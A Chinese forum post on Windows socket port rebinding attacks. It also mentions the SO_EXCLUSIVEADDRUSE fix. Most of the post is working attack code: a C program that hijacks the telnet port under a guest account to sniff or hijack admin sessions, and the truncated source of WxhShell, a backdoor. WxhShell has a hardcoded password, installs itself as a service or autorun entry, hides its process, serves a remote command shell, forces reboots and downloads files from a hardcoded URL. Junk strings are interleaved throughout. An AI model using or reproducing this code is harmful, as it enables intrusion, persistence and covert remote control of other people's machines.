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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Y0Tw:1a  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >Z gV8X:  
S 1~EJa5H  
  saddr.sin_family = AF_INET; <f)T*E^5%  
'Zex/:QS  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); sc-hO9~k  
!H)!b#_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l*CCnqE  
h{\S'8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ' qT\I8%  
)3|a_   
  这意味着什么?意味着可以进行如下的攻击: LtUw  
q!><:"#[G  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5mL4Zq"  
*(wxNsK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [\fwnS_1  
vaVV 1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1jBIi  
Xyz/CZPi  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Zv mkb%8  
;5T}@4m|r  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 yP` K [/  
FH%: NO  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  Ks^wX  
nHF~a?|FT  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 hVFZQJ?cv  
;1_3E2E$  
  #include Fwvc+ a  
  #include Tk 'Pv  
  #include ;>5]KNj  
  #include    Dequ'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   uB6Mj dp6  
  int main() ?djH!  
  { 9`H4"H>yG  
  WORD wVersionRequested; tblduiN   
  DWORD ret; # eFdu  
  WSADATA wsaData; f\RTO63|O  
  BOOL val; "?iyvzo  
  SOCKADDR_IN saddr; K,PN:  
  SOCKADDR_IN scaddr; oRg ,oy  
  int err; p7izy$Wc  
  SOCKET s; f"AT@Ga]  
  SOCKET sc; Uhn3usK  
  int caddsize; y G mFi  
  HANDLE mt; Jko=E   
  DWORD tid;    Bw+ ?MdS  
  wVersionRequested = MAKEWORD( 2, 2 ); :7Uv)@iUk  
  err = WSAStartup( wVersionRequested, &wsaData ); '<e$ c  
  if ( err != 0 ) { 4}*.0'Hz  
  printf("error!WSAStartup failed!\n"); 9`^(M^|c  
  return -1; k`z]l;:  
  } S|6i]/  
  saddr.sin_family = AF_INET; xj AU Csq  
   f4f)9n  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 f?16%Rk<  
(m2_Eh;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?h| DeD!s  
  saddr.sin_port = htons(23); [yc7F0Aw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =C|^C3HK  
  { xwwL  
  printf("error!socket failed!\n"); $n47DW &  
  return -1; Z?&ZgaSz  
  } /m^G 99N  
  val = TRUE; HvZSkq^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |-cXb.M[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1IT(5Mleb  
  { 7j#Ix$Ur  
  printf("error!setsockopt failed!\n"); *p\fb7Pu_3  
  return -1; !4Sd^"  
  } zITxJx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /Ah'KN|EN  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %z.d;[Hs  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 DqmKD U  
P{J9#.Zq&s  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6V6Mo}QF s  
  { +o0yx U 7t  
  ret=GetLastError(); qM2m!  
  printf("error!bind failed!\n"); 5'`DrTOA  
  return -1; Nm-E4N#'i  
  } }1CvbB%,A  
  listen(s,2); )1GJ^h$l  
  while(1) !\Cu J5U  
  { 0pH$Mk Q  
  caddsize = sizeof(scaddr); @~5Fcfmm  
  //接受连接请求 3rJ LLYR  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); MJH>rsTQ  
  if(sc!=INVALID_SOCKET) ^Q+z^zlC  
  { |942#rM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Z0XQ|gkH  
  if(mt==NULL) <y7Hy&&y-  
  { -H|!KnR  
  printf("Thread Creat Failed!\n"); ]ab q$Y'  
  break; W+4Bx=Mj  
  } (Gapv9R  
  } VpY,@qh  
  CloseHandle(mt); 8b4? O"  
  } jJ'NYG  
  closesocket(s); 7xWJw  
  WSACleanup(); `fG<iBD  
  return 0; :2wT)wz  
  }   JP^x]t:  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;WrG\R/|  
  { g 4 $  
  SOCKET ss = (SOCKET)lpParam; VyNU<}  
  SOCKET sc; Es\J%*\u  
  unsigned char buf[4096]; DPmY_[OAE  
  SOCKADDR_IN saddr; .vi0DuD6  
  long num; ^4Se=Hr z2  
  DWORD val; uFlf#t =  
  DWORD ret; :C0)[L  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v5?ct?q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /_8nZVu  
  saddr.sin_family = AF_INET; G<`(d@g  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); rH\oFCzC  
  saddr.sin_port = htons(23); R'atg 9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fI=p^k:  
  { *UG?I|l|I  
  printf("error!socket failed!\n"); $kkL)O*"]  
  return -1; NH=@[t) P,  
  } 4 &:|h  1  
  val = 100; =n@\m <  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W,!7_nl"u  
  { i!(5y>I_  
  ret = GetLastError(); x~D8XN{  
  return -1; 2<'ol65/c  
  } 28- z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I,]q;lEMt  
  { :RBeq,QaO  
  ret = GetLastError();  >Af0S;S  
  return -1; OKu~Nb*  
  } k!6m'}v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l!\~T"-7;:  
  { H_1&>@ 3  
  printf("error!socket connect failed!\n"); &Rz-;66bN  
  closesocket(sc); qc3,/JO1  
  closesocket(ss); @ @(O##(7  
  return -1; T5:xia>8O  
  } 7pnlS*E.  
  while(1) I@#IXH?6  
  { ,WW=,P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Z,~@_;F  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M@*Y&(~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 z|(<Co8#.  
  num = recv(ss,buf,4096,0); :vaVghN\  
  if(num>0) Wu8zK=Ve(  
  send(sc,buf,num,0); fZnq5rTk"  
  else if(num==0) 0[7"Lhpd  
  break; wqzpFPk(  
  num = recv(sc,buf,4096,0); hx:^xW@r4P  
  if(num>0) QWC C  
  send(ss,buf,num,0); A.$P1zwC  
  else if(num==0) Cj YI *  
  break; 2)QZYgfh  
  } )%8st'  
  closesocket(ss); .O&YdUo  
  closesocket(sc); uy<b5.!-  
  return 0 ; G2P:|R  
  } TDy$Mv=y  
t/3qD7L  
0&tr3!h\  
========================================================== yDRi  
^B7Ls{  
下边附上一个代码,,WXhSHELL =OTu8_ d0t  
'S&Zq:  
========================================================== E9 @Sc>e  
7$IR^  
#include "stdafx.h" I"KosSs  
^E+fmY2a  
#include <stdio.h> Q j|tD+<  
#include <string.h> <;1M!.)5  
#include <windows.h> { qCFd  
#include <winsock2.h> t2m7Yh5B  
#include <winsvc.h> K<pZ*l  
#include <urlmon.h> HTm`_}G9  
xjrL@LO#  
#pragma comment (lib, "Ws2_32.lib") 1/?K/gL  
#pragma comment (lib, "urlmon.lib") L{&Yh|}  
>>8{N)c5E  
#define MAX_USER   100 // 最大客户端连接数 ?<Mx*l  
#define BUF_SOCK   200 // sock buffer nm %7e!{m  
#define KEY_BUFF   255 // 输入 buffer Re*~C:  
4 DV,f2:R4  
#define REBOOT     0   // 重启 K7i@7  
#define SHUTDOWN   1   // 关机 ;(K"w*  
,<s:* k  
#define DEF_PORT   5000 // 监听端口 aH_FBY  
k_gl$`A  
#define REG_LEN     16   // 注册表键长度 79h'sp6;  
#define SVC_LEN     80   // NT服务名长度 [N"=rY4G  
6X4r2Vq  
// 从dll定义API r!|h3*YA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ip *8R]W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ev3,p`zS._  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7m:TY>{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nXjSf  
&78lep  
// wxhshell配置信息 =&DuQvN,  
struct WSCFG { sJ5#T iX  
  int ws_port;         // 监听端口 %D% Ok7s})  
  char ws_passstr[REG_LEN]; // 口令 +NeoGnj  
  int ws_autoins;       // 安装标记, 1=yes 0=no $)6M@S  
  char ws_regname[REG_LEN]; // 注册表键名 Wo,93]  
  char ws_svcname[REG_LEN]; // 服务名 0;4 YU%u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nAX/u[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GBT219Z@8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Wy /5Qw~s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7=qvu&{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4C*0MV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ob|^lAU  
ocpM6b.fK  
}; ,H$%'s1I(  
,&Vir)S  
// default Wxhshell configuration kN 0N18E  
struct WSCFG wscfg={DEF_PORT, <5G 4|l  
    "xuhuanlingzhe", ]x%sX|Rj  
    1, jc,Q g2  
    "Wxhshell", -av=5hm  
    "Wxhshell", n{M-t@r7  
            "WxhShell Service", )d|s$l$?7  
    "Wrsky Windows CmdShell Service", #6pJw?[  
    "Please Input Your Password: ",  J2Qt!-  
  1, h*3{IHAQ  
  "http://www.wrsky.com/wxhshell.exe", JcfGe4  
  "Wxhshell.exe" i8f+woZL  
    }; bh3yH>Zns  
wT-K g=-q  
// 消息定义模块 0}'/3Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K%u>'W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v`p@djM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +Z]}ce u"  
char *msg_ws_ext="\n\rExit."; DUg[L  
char *msg_ws_end="\n\rQuit."; w>'3}o(nY  
char *msg_ws_boot="\n\rReboot..."; ZQ'|B  
char *msg_ws_poff="\n\rShutdown..."; hb9HVj  
char *msg_ws_down="\n\rSave to "; 0vMKyT3 c  
c}H}fyu%n  
char *msg_ws_err="\n\rErr!"; QC6QqcOX  
char *msg_ws_ok="\n\rOK!"; ]!s@FKC{;  
b tbuE  
char ExeFile[MAX_PATH]; z<J2e^j  
int nUser = 0; RS@G.|  
HANDLE handles[MAX_USER]; :u)Qs#'29  
int OsIsNt; [*5hx_4%B  
qt4%=E;[  
SERVICE_STATUS       serviceStatus; ,4;'s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B$S@xD $  
~~Rq$'q}  
// 函数声明 |Nadk(}  
int Install(void); ]Z52L`k  
int Uninstall(void); }VHvC"   
int DownloadFile(char *sURL, SOCKET wsh); ['3E'q,4&  
int Boot(int flag); <$C3] =2  
void HideProc(void); xl,6O!aR  
int GetOsVer(void); ^/xb-tuV  
int Wxhshell(SOCKET wsl); ,F+,A].wG  
void TalkWithClient(void *cs); JgV4-B0  
int CmdShell(SOCKET sock); ZkNet>9  
int StartFromService(void); IIF <Zkpb  
int StartWxhshell(LPSTR lpCmdLine); pOj8-rr  
CBz=-Xr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S,a:H*Hf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IOJLJ p  
=?N$0F!  
// 数据结构和表定义 6}Rb-\N  
SERVICE_TABLE_ENTRY DispatchTable[] = }%^3  
{ c6iFha;db  
{wscfg.ws_svcname, NTServiceMain}, ^g.H JQ'vF  
{NULL, NULL} [@]i_L[  
}; fUOQ(BGp  
HYZp= *eb  
// 自我安装 ZS`9r16@b  
int Install(void) d@tNlFfS  
{ Q!I><u  
  char svExeFile[MAX_PATH]; j(M.7Z7^  
  HKEY key; 1)f <  
  strcpy(svExeFile,ExeFile); nB/`~_9  
?u0qYep:  
// 如果是win9x系统,修改注册表设为自启动 i@ 86Ez  
if(!OsIsNt) { D r"PS >.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =Wz)(N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A7T(p7pP  
  RegCloseKey(key); uC[F'\Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0C6T>E7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7y$U$6  
  RegCloseKey(key); ME.!l6lm\  
  return 0; Qtt3;5m  
    } |D[LU[<C  
  } Or55_E  
} E5a7p.  
else { qa4j>;  
hZ')<@hNP  
// 如果是NT以上系统,安装为系统服务 pr1kYMrqri  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \FnR'ne  
if (schSCManager!=0) oxJAI4{y 4  
{ 1KjzKFnb  
  SC_HANDLE schService = CreateService Q@"!uB.e  
  ( zQ(`pld  
  schSCManager, !wZIXpeL  
  wscfg.ws_svcname, u)%/df qzZ  
  wscfg.ws_svcdisp, UMHFq-  
  SERVICE_ALL_ACCESS, 8?w#=@s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Zm+GH^f'  
  SERVICE_AUTO_START, Q<yvpT(  
  SERVICE_ERROR_NORMAL, e488}h6#m  
  svExeFile, i8#:y`ai  
  NULL, 14(ct  
  NULL, *q@3yB}  
  NULL, >x ]{c b/m  
  NULL, mILCC} Kt  
  NULL N,*'")k9  
  ); k4` %.;  
  if (schService!=0) 4{0vdpo3F  
  { fVi[mH0=+  
  CloseServiceHandle(schService); =p dLh  
  CloseServiceHandle(schSCManager); b{ tp qNm~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u_b6u@r7  
  strcat(svExeFile,wscfg.ws_svcname); Yqv!ZJ6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  O@skd2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iEbW[sX[ 4  
  RegCloseKey(key); %UG|R:  
  return 0; 8k_hX^  
    } Un&rP70  
  } Dw,LB>Eq,  
  CloseServiceHandle(schSCManager); n>)h9q S  
} v7f[$s$m  
} hb>uHUb&  
V5 Gy|X  
return 1; 8< J3Xe  
} PK&X | h  
]1I-e2Q-J  
// 自我卸载 OUN"'p%%  
int Uninstall(void) yvnvIy  
{ !P6?nS  
  HKEY key; ;Q[E>j?w=  
( v$ i  
if(!OsIsNt) { Ym$`EN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :j`XU  
  RegDeleteValue(key,wscfg.ws_regname); fe}RmnAC  
  RegCloseKey(key); "kKIv|`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $MM[`^~  
  RegDeleteValue(key,wscfg.ws_regname); N5tFEV'G  
  RegCloseKey(key); ]jR-<l8I-  
  return 0; L\"eE'A  
  } {#&D=7LP  
} E_{P^7Z|Jg  
} }Q-Tw,j  
else { :\%hv>}|  
B|=S-5pv*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Qh]k)]+*|  
if (schSCManager!=0) ]|[mwC4  
{ 7(H?3)%0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SE$l,Z"[*b  
  if (schService!=0) >VG*La' c  
  { q } (f9  
  if(DeleteService(schService)!=0) { 8A 'SMJi  
  CloseServiceHandle(schService); \JP9lJ3<  
  CloseServiceHandle(schSCManager); r'@7aT&_  
  return 0; YDgG2hT/2  
  } C\ 34R  
  CloseServiceHandle(schService); 6HH:K0j3'  
  } u5`b")a  
  CloseServiceHandle(schSCManager); T ^/\Rr  
} "J `#  
} BiZYGq  
%mOQIXr1s  
return 1; aED73:b  
} Z'd]oNF  
%d /]8uO  
// 从指定url下载文件 52r\Q}v$  
int DownloadFile(char *sURL, SOCKET wsh) vpdT2/F  
{ 5{-54mwo  
  HRESULT hr; tnq Zl S  
char seps[]= "/"; }x_:v!G  
char *token; $4]4G=o  
char *file; S5cs(}Bq  
char myURL[MAX_PATH]; !)`m mr  
char myFILE[MAX_PATH]; Q=epUHFs  
<co:z<^lqu  
strcpy(myURL,sURL); Q0L1!}w   
  token=strtok(myURL,seps); 6?/f $,v  
  while(token!=NULL) z\K-KD{Ad  
  { oYWHO<b  
    file=token; ~e5E%bXxC  
  token=strtok(NULL,seps); O1oh,~W  
  } /5Yl, P  
2TQ<XHA\  
GetCurrentDirectory(MAX_PATH,myFILE); S4!B;,?AxN  
strcat(myFILE, "\\"); }3-`e3  
strcat(myFILE, file); WHRBYq_  
  send(wsh,myFILE,strlen(myFILE),0); .RbPO#(  
send(wsh,"...",3,0); O81'i2M J9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "~"=e  
  if(hr==S_OK) <V|\yH9  
return 0; 9zpOp-K6  
else f2ck=3  
return 1; $wk(4W8E  
6s$h _$[X  
} d[p?B-7%  
; Ji3|=4u  
// 系统电源模块 >ffQ264g=i  
int Boot(int flag) c7R6.T  
{ ] B>.}  
  HANDLE hToken; DyRU$U  
  TOKEN_PRIVILEGES tkp; P[H 4Yp  
Qo80u? *  
  if(OsIsNt) { \{o<-S;h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0 R>!jw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (,RL\1zJ  
    tkp.PrivilegeCount = 1; 8P} a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +rKV*XX@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q%0 N\  
if(flag==REBOOT) { T~d_?UAw$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VrJf g  
  return 0; nDz.61$[  
} t]ID  
else { 2rM/kF >g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =@d->d  
  return 0; 5W09>C>OC  
} N \woFrG  
  } 4@Bl 1b[<  
  else { W O'nW  
if(flag==REBOOT) { 5#dJga/88  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -E.fo._L5  
  return 0; n -xCaq  
} c + aTO"  
else { b\UE+\a&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QH kjxj  
  return 0; Yd<9Y\W%?  
} F1% ^,;  
} wjHH%y  
-.5R.~@  
return 1; Gf-GDy\{  
} H2yPVJ\Y)"  
z#6(PZC}  
// win9x进程隐藏模块 ,]tMZ?n8  
void HideProc(void) m-Qy6"eW  
{ ?:+p#&I  
Am >b7Z!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {gB9EGY  
  if ( hKernel != NULL ) K#R|GEwr  
  { I.U=%{.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <9S5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;S'1fci6  
    FreeLibrary(hKernel); x}OJ~Yk]  
  } NOl/y@#  
z -'e<v;w  
return; /lc4oXG8  
} oW6b3Q /B  
|)[&V3+|  
// 获取操作系统版本 R?#.z#  
int GetOsVer(void) UTO$L|K  
{ 6|1*gl1_LD  
  OSVERSIONINFO winfo; 4p>,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -v9x tNg  
  GetVersionEx(&winfo); H?;@r1ZAn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cEK#5   
  return 1; FaKZ|~Y e  
  else RP9~n)h~b  
  return 0; }-p-(  
} LRSt >; M  
5YXMnYt9  
// 客户端句柄模块 /mK]O7O7  
int Wxhshell(SOCKET wsl) Q'aVdJN,  
{ %U9f`qE  
  SOCKET wsh; Xv xrz{  
  struct sockaddr_in client; )IKqO:@  
  DWORD myID; e4;h*IQK  
;33SUgX  
  while(nUser<MAX_USER) ,8stEp9~h]  
{ a#&\65D  
  int nSize=sizeof(client); )+f"J$ah  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U}GO* +  
  if(wsh==INVALID_SOCKET) return 1; "P$')u wE  
 y)3OQ24  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Lv *USN  
if(handles[nUser]==0) J5}?<Dd:  
  closesocket(wsh); ;V bB]aUg  
else UK .=Y9  
  nUser++; Zk5AZ R!|  
  } G#6O'G N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X&A2:A 6\+  
DN;$ ->>  
  return 0; 0bjZwC4J  
} )2R]KU_=g  
_$KkSMA~_  
// 关闭 socket ^CB@4$!   
void CloseIt(SOCKET wsh) 7Kt i&T  
{ *]ME]2qP  
closesocket(wsh); 5Z13s  
nUser--; Rd|^C$6  
ExitThread(0); 0kaMYV?  
} 6. vwK3\>~  
/.(F\2+A  
// 客户端请求句柄 8*eVP*g  
void TalkWithClient(void *cs) cpx:4R,  
{ 3C2~heO>|  
^vTp.7o~5  
  SOCKET wsh=(SOCKET)cs; F`o"t]AD-a  
  char pwd[SVC_LEN]; QV _a M2  
  char cmd[KEY_BUFF]; TU9$5l/;g  
char chr[1]; D+7[2$:z  
int i,j; Q1x=@lXR  
cZAf?,>u  
  while (nUser < MAX_USER) { ,+FiP{`  
#W/ATsDt  
if(wscfg.ws_passstr) { K pmq C$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4"Mq]_D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I1JF2" {c  
  //ZeroMemory(pwd,KEY_BUFF); u`u{\ xN9  
      i=0; 8/-hODoT_  
  while(i<SVC_LEN) { {ApjOIxk  
3u9}z+q  
  // 设置超时 )yS8(F0  
  fd_set FdRead; 1c4:'0  
  struct timeval TimeOut; ;;Jx1Q  
  FD_ZERO(&FdRead); l2kUa'O-  
  FD_SET(wsh,&FdRead); 8#RL2)7Uy`  
  TimeOut.tv_sec=8; {%6g6?=j  
  TimeOut.tv_usec=0; ,m5tO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iO}KERfU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Kae-Y  
]i8t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~zQxfl/  
  pwd=chr[0]; ghW  
  if(chr[0]==0xd || chr[0]==0xa) { ;+lsNf  
  pwd=0; kk}_AZ0eK  
  break; MZ>Q Rf  
  } Bx|h)e9  
  i++; l _zTpyOZ  
    } +(h{ 3Y|  
)oZ2,]us!  
  // 如果是非法用户,关闭 socket W4)bEWO+q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xi!e=5&Pa  
} 1e I_F8I U  
?3<Y/Vg%c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S]Aaf-X_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c,}VC-  
]2MX7  
while(1) { ~Jlq.S'  
xxOhGA)  
  ZeroMemory(cmd,KEY_BUFF); Nr`v|_U  
N\Ab0mDOV.  
      // 自动支持客户端 telnet标准   T[2<_nn=  
  j=0; 9rT"_d#  
  while(j<KEY_BUFF) { X#o;`QM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P[r$KGz  
  cmd[j]=chr[0]; IaO*{1re  
  if(chr[0]==0xa || chr[0]==0xd) { :)%cL8Nz]$  
  cmd[j]=0; hz5t/E  
  break; NosOd*S  
  } dcfwUjp[  
  j++; =]1g*~%  
    } ."`||@|  
!wKiMgLS  
  // 下载文件 G^#? ~  
  if(strstr(cmd,"http://")) { 6rlvSdB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yGH')TsjD  
  if(DownloadFile(cmd,wsh)) -jVg {f!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @2TfW]6  
  else 9fsc>9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gl!ht@;>ak  
  } vgi`.hk  
  else { ,q$2D,dz  
"tu*(>'~5  
    switch(cmd[0]) { Cj J n  
  }6*JX\'q  
  // 帮助 W9{y1,G9  
  case '?': { !e('T@^u6u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M{p9b E[j  
    break; 4I2#L+W  
  } LYTnMrM  
  // 安装 |I3&a=,  
  case 'i': {  _w FK+>  
    if(Install()) MPLeqk$;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rw75(Lp{  
    else 6` 3kNk;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wkT4R\H>  
    break; 'lmjZ{k  
    } 0\+$j5;  
  // 卸载 l I2UpfkBP  
  case 'r': { S e(apQH  
    if(Uninstall()) o_r{cnu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^$<:~qq !  
    else OOYdrv,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vc+~yh.)  
    break; ;}k_  
    } T;i+az{N:V  
  // 显示 wxhshell 所在路径 ?XVox*6K&  
  case 'p': { N8X)/W  
    char svExeFile[MAX_PATH]; n%s$!R- \  
    strcpy(svExeFile,"\n\r"); 2(R{3E4.  
      strcat(svExeFile,ExeFile); g^^^fKUp)  
        send(wsh,svExeFile,strlen(svExeFile),0); b)T6%2  
    break; ~}Z{hs)  
    } B&}lYo  
  // 重启 5,R<9FjW  
  case 'b': { x(rl|o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GD!!xt  
    if(Boot(REBOOT)) NSQ)lSW,;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vb`:   
    else { /}s#   
    closesocket(wsh); $[b1_Db  
    ExitThread(0); dCzS f4:  
    } D?"Q)kVuD  
    break; q'jInwY|x  
    } KC54=Rf  
  // 关机 3) XS^WG  
  case 'd': { ca%XA|_J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XOEf,"  
